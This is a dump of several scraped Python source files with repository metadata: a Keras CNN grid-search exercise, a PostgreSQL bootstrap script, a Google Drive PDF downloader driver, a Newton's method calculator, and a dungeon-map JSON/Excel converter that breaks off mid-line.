validation_split=0.2)\n\nprint(model.best_params_)\nprint(model.best_estimator_)\nprint(model.best_score_)\nacc = model.score(x_test, y_test)\nprint(\"최종 스코어 : \", acc)\n\n'''\n최종 스코어 : 0.4219000041484833\n'''\n\n\n", "repo_name": "chahayeong/Homework", "sub_path": "keras2/keras64_2_hyper_cnn.py", "file_name": "keras64_2_hyper_cnn.py", "file_ext": "py", "file_size_in_byte": 2847, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "tensorflow.keras.datasets.mnist.load_data", "line_number": 14, "usage_type": "call"}, {"api_name": "tensorflow.keras.datasets.mnist", "line_number": 14, "usage_type": "name"}, {"api_name": "tensorflow.keras.utils.to_categorical", "line_number": 17, "usage_type": "call"}, {"api_name": "tensorflow.keras.utils.to_categorical", "line_number": 18, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Input", "line_number": 42, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Conv1D", "line_number": 43, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 44, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.MaxPooling1D", "line_number": 45, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 46, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Flatten", "line_number": 47, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 48, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dropout", "line_number": 49, "usage_type": "call"}, {"api_name": "tensorflow.keras.layers.Dense", "line_number": 50, "usage_type": "call"}, {"api_name": "tensorflow.keras.models.Model", "line_number": 51, "usage_type": "call"}, {"api_name": "tensorflow.keras.wrappers.scikit_learn.KerasClassifier", "line_number": 70, "usage_type": "call"}, {"api_name": "sklearn.model_selection.GridSearchCV", "line_number": 74, "usage_type": "call"}]} {"seq_id": "73929023904", "text": "import os\nimport sys\nimport logging\nimport psycopg2\n\nfrom configuration import DB_CONFIG, DSN\n\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nMIGRATIONS_DIR = os.path.join(BASE_DIR, 'sql/')\nUTILS = ['bootstrap', 'migration']\n\n\ndef bootstrap(db_config: dict) -> None:\n \"\"\"\n Function for creating all needed for work tables\n in already created database.\n\n :param db_config: database configuration\n \"\"\"\n\n logging.info('Run bootstrap')\n try:\n with psycopg2.connect(dsn=DSN.format(**db_config)) as connection:\n logging.info('Connected to PostgresDB')\n with connection.cursor() as cursor:\n with open(MIGRATIONS_DIR + '002_tables.sql', 'r') as bs:\n cursor.execute(bs.read())\n except psycopg2.OperationalError as e:\n sys.exit(f'System error: {e}')\n logging.info('Bootstrap is finished')\n\n\ndef migrations(db_config: dict) -> None:\n \"\"\"\n Function for migrate database\n\n :param db_config: database configuration\n :return:\n \"\"\"\n\n logging.info(f'Run sql')\n pass\n\n\nif __name__ == '__main__':\n # Set logging\n logging.basicConfig(\n level=logging.DEBUG,\n format='[{asctime}][{levelname}] - {name}: {message}', style='{'\n )\n\n # Set configurations\n db_config = DB_CONFIG\n\n if len(sys.argv) > 1 and sys.argv[1] != 'help':\n util = sys.argv[1]\n if util in UTILS and util == 'bootstrap':\n bootstrap(db_config=db_config)\n\n elif util in UTILS and util == 'migration':\n migrations(db_config=db_config)\n\n else:\n print(f'Unknown util {util}')\n print('Usage main.py {util} ')\n print('Module: %s' % (' | '.join(UTILS)))\n\n else:\n print('Set util')\n print('Usage main.py {util} ')\n print('Module: %s' % (' | '.join(UTILS)))\n", "repo_name": "GoMarky/markybox-backend", "sub_path": "bootstrap/migrations.py", "file_name": "migrations.py", "file_ext": "py", "file_size_in_byte": 1857, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.path.dirname", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path", "line_number": 8, "usage_type": "attribute"}, {"api_name": "os.path.abspath", "line_number": 8, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "logging.info", "line_number": 21, "usage_type": "call"}, {"api_name": "psycopg2.connect", "line_number": 23, "usage_type": "call"}, {"api_name": "configuration.DSN.format", "line_number": 23, "usage_type": "call"}, {"api_name": "configuration.DSN", "line_number": 23, "usage_type": "name"}, {"api_name": "logging.info", "line_number": 24, "usage_type": "call"}, {"api_name": "psycopg2.OperationalError", "line_number": 28, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 29, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 30, "usage_type": "call"}, {"api_name": "logging.info", "line_number": 41, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 47, "usage_type": "call"}, {"api_name": "logging.DEBUG", "line_number": 48, "usage_type": "attribute"}, {"api_name": "configuration.DB_CONFIG", "line_number": 53, "usage_type": "name"}, {"api_name": "sys.argv", "line_number": 55, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 56, "usage_type": "attribute"}]} {"seq_id": "14528753791", "text": "# -*- coding: UTF-8 -*-\n\n# standard\nimport configparser\nfrom distutils.command.config import config\n\n# module\nimport gdrivepdfdl\n\n\ndef main():\n \n # 初期設定\n settings_file_path = 'settings.ini'\n config = configparser.ConfigParser()\n \n if (not config.read(settings_file_path)):\n print(f'{settings_file_path} is not found.')\n return\n \n # [bin]\n proxy_bat_path = config['bin']['proxy_bat_path']\n edge_driver_path = config['bin']['edge_driver_path']\n # [userdata]\n edge_profile_path = config['userdata']['edge_profile_path']\n gdrive_url = config['userdata']['gdrive_url']\n # [settings]\n mime_type = config['settings']['mime_type']\n mode = config['settings']['mode']\n width = int(config['settings']['width'])\n rendering_waiting_sec = int(config['settings']['rendering_waiting_sec'])\n access_waiting_sec = int(config['settings']['access_waiting_sec'])\n output_dir = config['settings']['output_dir']\n\n print(f\"Proxy bat path : {proxy_bat_path}\")\n print(f\"Edge driver path : {edge_driver_path}\")\n print(f\"Edge profile path : {edge_profile_path}\")\n print(f\"Google drive folder url : {gdrive_url}\")\n print(f\"mime_type : {mime_type}\")\n print(f\"q(quality) or s(speed) : {mode}\")\n print(f\"width : {width}\")\n print(f\"rendering wait sec : {rendering_waiting_sec}\")\n print(f\"access wait sec : {access_waiting_sec}\")\n print(f\"output dir : {output_dir}\")\n\n gdh = gdrivepdfdl.GDriveHar(proxy_bat_path, edge_driver_path, edge_profile_path, gdrive_url)\n \n pdf_data = gdh.get(mode, mime_type, width, rendering_waiting_sec, access_waiting_sec)\n urls = gdrivepdfdl.Utility.to_base64_list(pdf_data['har'], mime_type)\n gdrivepdfdl.Utility.save_image(output_dir, urls, pdf_data['pdf_infos'], mime_type, True)\n\n\nif __name__ == '__main__':\n main()\n\n", "repo_name": "shirokuma1101/gdrive-pdf-dl", "sub_path": "gdrivepdfdl.py", "file_name": "gdrivepdfdl.py", "file_ext": "py", "file_size_in_byte": 2014, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "distutils.command.config.config", "line_number": 15, "usage_type": "name"}, {"api_name": "configparser.ConfigParser", "line_number": 15, "usage_type": "call"}, {"api_name": "distutils.command.config.config.read", "line_number": 17, "usage_type": "call"}, {"api_name": "distutils.command.config.config", "line_number": 17, "usage_type": "name"}, {"api_name": "distutils.command.config.config", "line_number": 22, "usage_type": "name"}, {"api_name": "distutils.command.config.config", "line_number": 23, "usage_type": "name"}, {"api_name": "distutils.command.config.config", "line_number": 25, "usage_type": "name"}, {"api_name": "distutils.command.config.config", "line_number": 26, "usage_type": "name"}, {"api_name": "distutils.command.config.config", "line_number": 28, "usage_type": "name"}, {"api_name": "distutils.command.config.config", "line_number": 29, "usage_type": "name"}, {"api_name": "distutils.command.config.config", "line_number": 30, "usage_type": "name"}, {"api_name": "distutils.command.config.config", "line_number": 31, "usage_type": "name"}, {"api_name": "distutils.command.config.config", "line_number": 32, "usage_type": "name"}, {"api_name": "distutils.command.config.config", "line_number": 33, "usage_type": "name"}, {"api_name": "gdrivepdfdl.GDriveHar", "line_number": 46, "usage_type": "call"}, {"api_name": "gdrivepdfdl.Utility.to_base64_list", "line_number": 49, "usage_type": "call"}, {"api_name": "gdrivepdfdl.Utility", "line_number": 49, "usage_type": "attribute"}, {"api_name": "gdrivepdfdl.Utility.save_image", "line_number": 50, "usage_type": "call"}, {"api_name": "gdrivepdfdl.Utility", "line_number": 50, "usage_type": "attribute"}]} {"seq_id": "18031792836", "text": "import sympy\nfrom sympy import *\n\n#State what the program does\nprint(\"This program uses the Newton's Method technique to approximate zeroes of functions.\\n\\n\")\n\n#Collect input\nfunction = input(\"What is the function? Write in terms of x. Example functions:\\n y = 2*x**3 + x**2 - x + 1\\n y = exp(x) - 5*x\\n\\n\")\nfunction = function.split(\"=\")[1] #take the expression, ignore the \"y = \" portion\nx = sympy.symbols(\"x\") #define x for expression\nfunction = sympy.parse_expr(function) #convert into sympy expression so derivative can be taken automatically\nprint(\"Function: \", function)\nderivative = sympy.diff(function)\nprint(\"Derivative : \", derivative)\ninitial_guess = float(input(\"What is your initial guess for the function's zero?\\n\"))\n#provide option to use Newton's method for a desired accuracy or given number of iterations\noption_for_iterations = input(\"Type 'Q' to provide a desired accuracy or 'N' to provide a set number of iterations.\\n\").upper()\nif(option_for_iterations == \"Q\"):\n global desired_accuracy\n desired_accuracy = float(input(\"What is the desired accuracy?\\n\"))\nelif(option_for_iterations == \"N\"):\n global given_num_iterations\n given_num_iterations = int(input(\"Enter number of iterations.\\n\"))\nelse:\n print(\"Invalid Input.\")\n exit()\n\n#Create equations\ndef f(x_n):\n result = function.subs(x, x_n)\n return result\ndef df(x_n):\n result = derivative.subs(x, x_n)\n return result\ndef newton_formula(x):\n x_n_plus_1 = x - (f(x)/df(x))\n return x_n_plus_1\n\n#Iterations\niterate = True #boolean to keep applying Newton's method\nnumIterations = 0\nxn = initial_guess\n\nwhile(iterate == True):\n print(\"\\nX\" + str(numIterations) + \" = \" + str(xn))\n print(\"Yn = \", f(xn))\n print(\"Y'n = \", df(xn))\n print(\"Yn/Y'n = \", f(xn)/df(xn))\n x_n_plus_1 = newton_formula(xn)\n print(\"X\" + str(numIterations+1) + \" = \" + str(x_n_plus_1))\n numIterations += 1\n #check condition to stop iterating based on the option the user chose (accuracy vs given iterations)\n if((option_for_iterations == \"Q\" and abs(x_n_plus_1 - xn) < desired_accuracy)) or(option_for_iterations == \"N\" and (numIterations >= given_num_iterations)):\n iterate = False\n xn = x_n_plus_1\n\nprint(\"\\nThe zero of the given function is: \", xn)\nprint(\"Note: Took \", numIterations, \" iterations\")\n", "repo_name": "RitaliJ/CIS-35A-Assignments", "sub_path": "Competition Problems/NewtonsMethodCalculatorAdvanced.py", "file_name": "NewtonsMethodCalculatorAdvanced.py", "file_ext": "py", "file_size_in_byte": 2269, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "sympy.symbols", "line_number": 10, "usage_type": "call"}, {"api_name": "sympy.parse_expr", "line_number": 11, "usage_type": "call"}, {"api_name": "sympy.diff", "line_number": 13, "usage_type": "call"}]} {"seq_id": "10905511943", "text": "import json\nimport os.path\nimport pprint\nimport re\nimport sys\n\nimport openpyxl\n\n\n#既定のアセットパッケージリスト\nDEFINED_ASSET_PACKAGES = [\"Castle_01_Package\", \"Castle_02_Package\", \"Castle_03_Package\", \"Castle_04_Package\", \"Castle_05_Package\", \"Castle_06_Package\", \"Forest_01_Package\", \"Forest_02_Package\", \"Forest_03_Package\", \"Forest_04_Package\", \"Forest_05_Package\", \"Forest_06_Package\", \"Shrine_01_Package\", \"Shrine_04_Package\", \"Tunnel_01_Package\", \"Tunnel_05_Package\"]\n#各パッケージごとの既定オブジェクトとセル上での記号の対応\nDEFINED_OBJECTS_DICT = {\n \"Castle\": {\n \"扉\": \"Door\", \"鍵\": \"ControlledDoor\", \"障\": \"Obstacle\",\n \"⇒\": \"OnewayDoor\", \"鳥\": \"Bird\", \"柱\": \"Pillar1\",\n \"燭\": \"Candlestick\", \"毒\": \"PoisonZone\", \"ス\": \"Script\",\n \"麻\": \"ParalyzeZone\", \"沈\": \"SilenceZone\",\n \"ダ\": \"DamageFloor\", \"→\": \"ShiftZone\", \"←\": \"ShiftZone\",\n \"↑\": \"ShiftZone\", \"↓\": \"ShiftZone\", \"転\": \"Teleporter\",\n \"上\": \"UpStairs\", \"天\": \"CeilingHole\", \"穴\": \"Chute\",\n #CeilingHole: 上方向にはしご設置可能\n \"下\": \"DownStairs\", \"地\": \"FloorHole\",\n #FloorHole: 下方向にはしご設置可能\n \"壁\": \"WallScript\", \"敵\": \"Enemy\", \"宝\": \"Item\",\n \"音\": \"MusicChanger\", \"\": \"Fence\", \"柱\": \"Pillar2\",\n \"出\": \"Exit\"\n #Pillar2はセルのフォント設定がイタリック体\n },\n \"Tunnel\": {\n \"扉\": \"Door\", \"鍵\": \"ControlledDoor\", \"宝\": \"Item\",\n \"⇒\": \"OnewayDoor\", \"-\": \"FenceCenter\", \"柱\": \"Pillar\",\n \"手\": \"Hand\", \"灯\": \"Emissive\", \"毒\": \"PoisonZone\",\n \"麻\": \"ParalyzeZone\", \"沈\": \"SilenceZone\",\n \"透\": \"DamageFloorInvisible\", \"ダ\": \"DamageFloor\",\n \"→\": \"ShiftZone\", \"←\": \"ShiftZone\", \"ス\": \"Script\",\n \"↑\": \"ShiftZone\", \"↓\": \"ShiftZone\", \"転\": \"Teleporter\",\n \"上\": \"UpStairs\", \"天\": \"CeilingHole\", \"穴\": \"Chute\",\n \"下\": \"DownStairs\", \"地\": \"FloorHole\",\n \"壁\": \"WallScript\", \"敵\": \"Enemy\", \"障\": \"Crucifixion\",\n \"音\": \"MusicChanger\", \"\": \"Fence\", \"出\": \"Exit\"\n },\n \"Shrine\": {\n \"扉\": \"Door\", \"鍵\": \"ControlledDoor\", \"碑\": \"Obelisk\",\n \"⇒\": \"OnewayDoor\", \"柱\": \"Pillar\", \"灯\": \"Light\",\n \"毒\": \"PoisonZone\", \"麻\": \"ParalyzeZone\",\n \"沈\": \"SilenceZone\", \"ダ\": \"DamageFloor\",\n \"→\": \"ShiftZone\", \"←\": \"ShiftZone\", \"ス\": \"Script\",\n \"↑\": \"ShiftZone\", \"↓\": \"ShiftZone\", \"転\": \"Teleporter\",\n \"上\": \"UpStairs\", \"天\": \"CeilingHole\", \"穴\": \"Chute\",\n \"下\": \"DownStairs\", \"地\": \"FloorHole\",\n \"壁\": \"WallScript\", \"敵\": \"Enemy\", \"宝\": \"Item\",\n \"音\": \"MusicChanger\", \"\": \"Fence\", \"出\": \"Exit\"\n },\n \"Forest\": {\n \"扉\": \"Door\", \"鍵\": \"ControlledDoor\", \"灯\": \"Emissive\",\n \"墓\": \"GraveMarker\", \"⇒\": \"OnewayDoor\", \"柱\": \"Pillar1\",\n \"木\": \"Tree\", \"透\": \"DamageFloorInvisible\",\n \"毒\": \"PoisonZone\", \"麻\": \"ParalyzeZone\",\n \"沈\": \"SilenceZone\", \"ダ\": \"DamageFloor\",\n \"→\": \"ShiftZone\", \"←\": \"ShiftZone\", \"ス\": \"Script\",\n \"↑\": \"ShiftZone\", \"↓\": \"ShiftZone\", \"転\": \"Teleporter\",\n \"上\": \"UpStairs\", \"天\": \"CeilingHole\", \"穴\": \"Chute\",\n \"下\": \"DownStairs\", \"地\": \"FloorHole\",\n \"壁\": \"WallScript\", \"敵\": \"Enemy\", \"宝\": \"Item\",\n \"音\": \"MusicChanger\", \"\": \"Fence\", \"柱\": \"Pillar2\",\n \"出\": \"Exit\"\n }\n}\n#セルに書いてあっても無視するオブジェクトのリスト\nIGNORE_OBJECT_LIST = [\"ControlledDoor\", \"Teleporter\", \"Script\", \"UpStairs\", \"CeilingHole\", \"Chute\", \"DownStairs\", \"FloorHole\", \"WallScript\", \"Enemy\", \"Item\", \"MusicChanger\"]\n#マップのサイズはゲーム内で既定なのでそのまま使う\nWIDTH = 30\nHEIGHT = 30\n#セル名縦列から数字への変換テーブル\ncell_tbl = {\"A\": 0, \"B\": 1, \"C\": 2, \"D\": 3, \"E\": 4, \"F\": 5, \"G\": 6, \"H\": 7, \"I\": 8, \"J\": 9, \"K\": 10, \"L\": 11, \"M\": 12, \"N\": 13, \"O\": 14, \"P\": 15, \"Q\": 16, \"R\": 17, \"S\": 18, \"T\": 19, \"U\": 20, \"V\": 21, \"W\": 22, \"X\": 23, \"Y\": 24, \"Z\": 25, \"AA\": 26, \"AB\": 27, \"AC\": 28, \"AD\": 29}\n#数字からセル名への逆変換テーブル\ncell_rtbl = {v: k for k, v in cell_tbl.items()}\nre_splitter = re.compile(\"(?P[A-Z]+)(?P[0-9]+)\")\n#床タイプ(黄: 床, 青: 浅瀬, 緑: 深瀬, 黒: 奈落, 白: 壁)\ntiletype_tbl = {\"FFFFFF00\": 0, \"FF0000FF\": 1, \"FF00FF00\": 2, \"FF000000\": 3, \"FFFFFFFF\": 4}\ntiletype_rtbl = {v: k for k, v in tiletype_tbl.items()}\n#Point(int, int)からblocksシートのブロックセル名への変換\npointdict2coodinate = lambda d: \"%s%s\" % (cell_rtbl[d[\"x\"]], (HEIGHT - d[\"y\"]))\n#(int, int)からセル名への変換\npoint2coodinate = lambda x, y: \"%s%s\" % (openpyxl.utils.cell.get_column_letter(x+1), y+1)\n\n\n#mapObjectEntryを作成\ndef create_object(d, name, point, facing, components=[]):\n if \"_\" not in name:\n name = \"%s_%s%s\" % (name, point, facing)\n #if name.split(\"_\")[0] not in DEFINED_OBJECTS:\n defined = DEFINED_OBJECTS_DICT[d[\"assetPackage\"][\"package\"].split(\"_\")[0]].values()\n if name.split(\"_\")[0] not in defined:\n print(\"[create_object]Error: %s is not valid object name.\" % name)\n exit(-1)\n point = re_splitter.fullmatch(point).groupdict()\n point[\"x\"] = int(cell_tbl[point[\"x\"]])\n point[\"y\"] = 30 - int(point[\"y\"])\n return {\"name\": name, \"point\": point, \"facing\": int(facing), \"components\": components}\n\n\n#フェンスをmapObjectEntriesに追加\ndef add_fence(cell, d):\n l = [cell.border.top, cell.border.right, cell.border.bottom, cell.border.left]\n for i in range(0, 4):\n if l[i] is None or l[i].style is None:\n continue\n d[\"mapObjectEntries\"].append(create_object(d, \"Fence\", cell.coordinate, i))\n\n\n#セルに書かれた値を元にオブジェクトを生成してmapObjectEntriesに追加\ndef add_object(cell, d):\n asset_type = d[\"assetPackage\"][\"package\"].split(\"_\")[0]\n obj_dict = DEFINED_OBJECTS_DICT[asset_type]\n name = obj_dict[cell.value[0]]\n point = cell.coordinate\n facing = int(cell.value[1])\n #Pillar1/2の別があるのはCastleとForestのみ\n if name.startswith(\"Pillar\") and asset_type in (\"Castle\", \"Forest\"):\n if cell.font.i:\n name = \"Pillar2\"\n else:\n name = \"Pillar1\"\n #詳細に設定しなければならないオブジェクトはセルに書いてあっても無視する\n if name not in IGNORE_OBJECT_LIST:\n d[\"mapObjectEntries\"].append(create_object(d, name, point, facing))\n #一つのセルに複数のオブジェクトが入っていたらvalueを変更してもう一度回す\n if(cell.value > 2):\n cell.value = cell.value[2:]\n add_object(cell, d)\n\n\n#objectsシートからmapObjectEntriesを作成\ndef read_objects(ws, d):\n for row in ws.rows:\n if not row[0].value:\n continue\n name = row[0].value\n point = row[1].value\n facing = row[2].value\n components = []\n if len(row) > 3 and row[3].value:\n key = (\"name\", \"value\")\n for x in row[3:]:\n if x.value and \":\" in x.value:\n components.append(dict(zip(key, x.value.split(\":\"))))\n d[\"mapObjectEntries\"].append(create_object(d, name, point, facing, components))\n\n\n#blocksシートからブロックデータとフェンス等のオブジェクトを読む\ndef read_blocks(ws, d):\n defined = DEFINED_OBJECTS_DICT[d[\"assetPackage\"][\"package\"].split(\"_\")[0]].values()\n #Excelの縦行のカウントとゲームでの縦行のカウントはスタート位置が逆\n for y in reversed(range(1, HEIGHT + 1)):\n #print(ws[y], len(ws[y]))\n for x in range(0, WIDTH):\n cell = ws[y][x]\n b = {\"TileType\": 0, \"TileVariationId\": 0, \"Attributes\": 0, \"BattleStageType\": 0, \"SurfaceType\": 0}\n #print(\"%s, %s\" % (cell.coordinate, cell.fill.bgColor.rgb))\n b[\"TileType\"] = tiletype_tbl[cell.fill.fgColor.rgb]\n d[\"blocks\"].append(b)\n if cell.border.left or cell.border.right or cell.border.top or cell.border.bottom:\n add_fence(cell, d)\n if cell.value and cell.value[0] in defined:\n add_object(cell, d)\n\n\n#infoシートからデータを読む\ndef read_info(ws, d):\n d[\"mapName\"] = ws[\"A1\"].value\n d[\"assetPackage\"] = {\"package\": ws[\"A2\"].value}\n d[\"width\"] = WIDTH\n d[\"height\"] = HEIGHT\n d[\"table\"] = []\n\n\n#マップのxlsxファイルかを超適当に判断する\ndef is_dngmapxlsx(xls_name):\n wb = openpyxl.load_workbook(xls_name)\n try:\n return True if wb[\"info\"][\"A1\"].value != \"m_Name\" else False\n except KeyError:\n return False\n\n\n#LibreOfficeで書いたXLSXファイルをdngmap.jsonに変換\ndef xls2json(xls_name, json_name, force=False):\n if not force and os.path.exists(json_name):\n print(\"output file %s is already exists.\" % json_name)\n exit(-1)\n #print(\"convert %s to %s\" % (xls_name, json_name))\n #データテーブルのxlsxファイルを開いたらサイレントに閉じる\n if not is_dngmapxlsx(xls_name):\n return\n wb = openpyxl.load_workbook(xls_name)\n d = {}\n d[\"blocks\"] = []\n d[\"mapObjectEntries\"] = []\n read_info(wb[\"info\"], d)\n #pprint.pp(d)\n read_blocks(wb[\"blocks\"], d)\n read_objects(wb[\"objects\"], d)\n #pprint.pp(d[\"mapObjectEntries\"])\n with open(json_name, \"wt\") as f:\n json.dump(d, f)\n\n\n#シートの幅を調整\ndef adjust_sheet_dimention(ws):\n for col in ws.columns:\n l = len(str(col[0].value))\n for c in col[1:]:\n l = len(str(c.value)) if len(str(c.value)) > l else l\n idx = col[0].column_letter\n sz = col[0].font.size / 10.0\n #1だけ余白を開けておかないとセルによっては幅の調整がいまいちな感じになる\n ws.column_dimensions[idx].width = l * sz + (1 if l else 0)\n\n\n#objectsシートにマップオブジェクト（除くblocksシートに描く分）を書いていく\ndef create_objects_sheet(ws, d):\n i = 0\n for obj in sorted(d[\"mapObjectEntries\"], key=lambda x: x[\"name\"]):\n #Fence等は自動でmapObjectEntriesから削除されるようになった\n #if obj[\"name\"].startswith(\"Fence\") or :\n #continue\n ws[point2coodinate(0, i)].value = obj[\"name\"]\n ws[point2coodinate(1, i)].value = pointdict2coodinate(obj[\"point\"])\n ws[point2coodinate(2, i)].value = obj[\"facing\"]\n if obj[\"components\"]:\n j = 3\n for x in obj[\"components\"]:\n if x[\"name\"] == \"Destination\":\n point = {k: int(v) for k, v in zip([\"x\", \"y\"], x[\"value\"].split(\",\"))}\n ws[point2coodinate(j, i)].value = \"%s:%s\" % (x[\"name\"], pointdict2coodinate(point))\n else:\n ws[point2coodinate(j, i)].value = \"%s:%s\" % (x[\"name\"], x[\"value\"])\n j += 1\n i += 1\n\n\n#blocksシートにフェンスを描く\ndef add_fence_block(ws, obj):\n point = pointdict2coodinate(obj[\"point\"])\n facing = obj[\"facing\"]\n #print(obj[\"point\"], point, facing)\n color = openpyxl.styles.colors.Color(rgb=\"FF888888\")\n side = openpyxl.styles.borders.Side(style=\"thick\", color=color)\n border = ws[point].border\n #top\n if facing == 0:\n ws[point].border = openpyxl.styles.borders.Border(top=side, right=border.right, bottom=border.bottom, left=border.left, diagonal=border.diagonal, diagonalUp=border.diagonalUp, diagonalDown=border.diagonalDown)\n #right\n elif facing == 1:\n ws[point].border = openpyxl.styles.borders.Border(top=border.top, right=side, bottom=border.bottom, left=border.left, diagonal=border.diagonal, diagonalUp=border.diagonalUp, diagonalDown=border.diagonalDown)\n #bottom\n elif facing == 2:\n ws[point].border = openpyxl.styles.borders.Border(top=border.top, right=border.right, bottom=side, left=border.left, diagonal=border.diagonal, diagonalUp=border.diagonalUp, diagonalDown=border.diagonalDown)\n #left\n elif facing == 3:\n ws[point].border = openpyxl.styles.borders.Border(top=border.top, right=border.right, bottom=border.bottom, left=side, diagonal=border.diagonal, diagonalUp=border.diagonalUp, diagonalDown=border.diagonalDown)\n\n\n#[Obsolete]: blocksシートに柱を描く：／ならPillar1、＼ならPillar2\n#blocksシートに柱を描く：普通の字体ならPillar1、イタリックならPillar2\ndef add_pillar_block(ws, obj):\n name = obj[\"name\"]\n point = pointdict2coodinate(obj[\"point\"])\n if name.startswith(\"Pillar2\") and asset_type in (\"Castle\", \"Forest\"):\n ws[point].font = openpyxl.styles.fonts.Font(i=True)\n ws[point].value = \"柱0\"\n return\n\n name = obj[\"name\"]\n point = pointdict2coodinate(obj[\"point\"])\n print(obj[\"point\"], point, facing)\n color = openpyxl.styles.colors.Color(rgb=\"FF880088\")\n side = openpyxl.styles.borders.Side(style=\"thick\", color=color)\n border = ws[point].border\n if name.startswith(\"Pillar1\"):\n ws[point].border = openpyxl.styles.borders.Border(top=border.top, right=border.right, bottom=border.bottom, left=border.left, diagonal=side, diagonalUp=True, diagonalDown=border.diagonalDown)\n else:\n ws[point].border = openpyxl.styles.borders.Border(top=border.top, right=border.right, bottom=border.bottom, left=border.left, diagonal=side, diagonalUp=border.diagonalUp, diagonalDown=True)\n\n\n#blocksシートのセルにオブジェクトを書き込む\ndef add_object_in_cell(ws, symbol, obj):\n point = pointdict2coodinate(obj[\"point\"])\n facing = obj[\"facing\"]\n value = \"%s%s\" % (symbol, facing)\n if len(value) > 2:\n print(\"[add_object_in_cell]Error: %s@%s is not valid symbol.\" % (value, point))\n exit(-1)\n if ws[point].value:\n ws[point].value += value\n else:\n ws[point].value = value\n\n\n#blocksシートに書き込む必要のあるオブジェクトを変換\ndef add_block_objects(wb, d):\n blocks = wb[\"blocks\"]\n objects = wb[\"objects\"]\n defined = DEFINED_OBJECTS_DICT[d[\"assetPackage\"][\"package\"].split(\"_\")[0]]\n rdefined = {v: k for k, v in defined.items()}\n del_idx = []\n for obj in d[\"mapObjectEntries\"]:\n name = obj[\"name\"].split(\"_\")[0]\n if name == \"Fence\":\n add_fence_block(blocks, obj)\n #Pillar1/2:facingにかかわらず常にブロック右上に配置\n elif name.startswith(\"Pillar\"):\n add_pillar_block(blocks, obj)\n elif name not in rdefined:\n print(\"[add_block_objects]Error: %s is not valid object name.\" % name)\n exit(-1)\n else:\n #obj[\"name\"] = rdefined[name]\n add_object_in_cell(blocks, rdefined[name], obj)\n if name not in IGNORE_OBJECT_LIST:\n del_idx.append(d[\"mapObjectEntries\"].index(obj))\n del_idx.sort(reverse=True)\n for i in del_idx:\n del d[\"mapObjectEntries\"][i]\n\n\n#タイルブロックをblocksシートに変換\ndef create_blocks_sheet(ws, d):\n #幅と高さを適当に調整@LibreOffice\n for k in cell_tbl.values():\n ws.row_dimensions[k].height = 15\n for k in cell_tbl.keys():\n ws.column_dimensions[k].width = 2.7\n for y in range(0, HEIGHT):\n #print(cell_rtbl[y-1], \":\", end=\"\")\n for x in range(0, WIDTH):\n rgb = tiletype_rtbl[d[\"blocks\"][(HEIGHT - y - 1) * HEIGHT + x][\"TileType\"]]\n ws[point2coodinate(x, y)].fill = openpyxl.styles.fills.PatternFill(patternType=openpyxl.styles.fills.FILL_SOLID, fgColor=openpyxl.styles.colors.Color(rgb=rgb))\n #ws[point2coodinate(x, y)].fill.fgColor.rgb = ws[point2coodinate(x, y)].fill.bgColor.rgb = rgb\n\n\n#infoシートを作成\ndef create_info_sheet(ws, d):\n ws[\"A1\"] = d[\"mapName\"]\n try:\n ws[\"A2\"] = d[\"assetPackage\"][\"package\"]\n except KeyError:\n if d[\"mapName\"].startswith(\"Castle\"):\n d[\"assetPackage\"][\"package\"] = \"Castle_01_Package\"\n elif d[\"mapName\"].startswith(\"Tunnel\"):\n d[\"assetPackage\"][\"package\"] = \"Tunnel_01_Package\"\n elif d[\"mapName\"].startswith(\"Shrine\"):\n d[\"assetPackage\"][\"package\"] = \"Shrine_01_Package\"\n elif d[\"mapName\"].startswith(\"Forest\"):\n d[\"assetPackage\"][\"package\"] = \"Forest_01_Package\"\n print(\"[create_info_sheet]cannnot find valid asset package. use alternative package %s.\" % d[\"assetPackage\"][\"package\"])\n ws[\"A2\"] = d[\"assetPackage\"][\"package\"]\n\n\n#json->xlsxの変換を行う\ndef json2xlsx(json_name, xls_name, force=False):\n if not force and os.path.exists(xls_name):\n print(\"output file %s is already exists.\" % xls_name)\n exit(-1)\n #print(\"convert %s to %s\" % (json_name, xls_name))\n d = json.load(open(json_name, encoding=\"utf8\"))\n wb = openpyxl.Workbook()\n #デフォルトで作成されるシートを除去\n wb.remove(wb.worksheets[0])\n wb.create_sheet(\"info\")\n wb.create_sheet(\"blocks\")\n wb.create_sheet(\"objects\")\n create_info_sheet(wb[\"info\"], d)\n create_blocks_sheet(wb[\"blocks\"], d)\n add_block_objects(wb, d)\n create_objects_sheet(wb[\"objects\"], d)\n adjust_sheet_dimention(wb[\"info\"])\n adjust_sheet_dimention(wb[\"objects\"])\n wb.save(xls_name)\n #print(\"done\")\n\n\nif __name__ == \"__main__\":\n if len(sys.argv) < 4 or sys.argv[1] in (\"-h\", \"--help\", \"/?\") or sys.argv[3][3:] not in (\"encode\", \"decode\"):\n print(\"DngmapConv.py -t=decode/encode [-f/--force]\")\n exit()\n if sys.argv[1] == sys.argv[2]:\n print(\"input and output are same file.\")\n exit()\n force = False\n if len(sys.argv) > 4:\n for a in sys.argv[4:]:\n if a in (\"-f\", \"--force\"):\n force = True\n else:\n print(\"invalid argument : %s\" % a)\n exit()\n if sys.argv[3][3:] == \"encode\":\n json2xlsx(sys.argv[1], 